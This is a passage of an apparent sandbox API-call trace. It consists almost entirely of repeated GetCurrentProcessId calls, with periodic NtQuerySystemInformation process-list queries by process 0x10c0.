[0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0164.813] GetCurrentProcessId () returned 0x10c0 [0165.366] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d810) returned 0x0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.367] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.368] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.369] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.370] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.371] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.372] GetCurrentProcessId () returned 0x10c0 [0165.373] GetCurrentProcessId () returned 0x10c0 [0165.373] GetCurrentProcessId () returned 0x10c0 [0165.373] GetCurrentProcessId () returned 0x10c0 [0165.373] GetCurrentProcessId () returned 0x10c0 [0166.016] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d860) returned 0x0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.034] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.035] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.036] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.037] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.038] GetCurrentProcessId () returned 0x10c0 [0166.039] GetCurrentProcessId () returned 0x10c0 [0166.039] GetCurrentProcessId () returned 0x10c0 [0166.039] GetCurrentProcessId () returned 0x10c0 [0166.039] GetCurrentProcessId () returned 0x10c0 [0166.039] GetCurrentProcessId () returned 0x10c0 [0166.039] GetCurrentProcessId () returned 0x10c0 [0166.039] GetCurrentProcessId () returned 0x10c0 [0166.573] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d860) returned 0x0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.581] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.582] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.583] GetCurrentProcessId () returned 0x10c0 [0166.584] GetCurrentProcessId () returned 0x10c0 [0166.584] GetCurrentProcessId () returned 0x10c0 [0166.584] GetCurrentProcessId () returned 0x10c0 [0166.584] GetCurrentProcessId () returned 0x10c0 [0166.584] GetCurrentProcessId () returned 0x10c0 [0166.584] GetCurrentProcessId () returned 0x10c0 [0166.584] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.585] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0166.586] GetCurrentProcessId () returned 0x10c0 [0167.472] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d900) returned 0x0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.491] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.492] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.493] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.494] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.495] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0167.496] GetCurrentProcessId () returned 0x10c0 [0168.050] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b7becb0*=0x1d900) returned 0x0 [0168.064] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.065] GetCurrentProcessId () returned 0x10c0 [0168.066] GetCurrentProcessId () returned 0x10c0 [0168.066] GetCurrentProcessId () returned 0x10c0 [0168.066] GetCurrentProcessId () returned 0x10c0 [0168.066] GetCurrentProcessId () returned 0x10c0 [0168.066] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.067] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.068] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.069] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 [0168.070] GetCurrentProcessId () returned 0x10c0 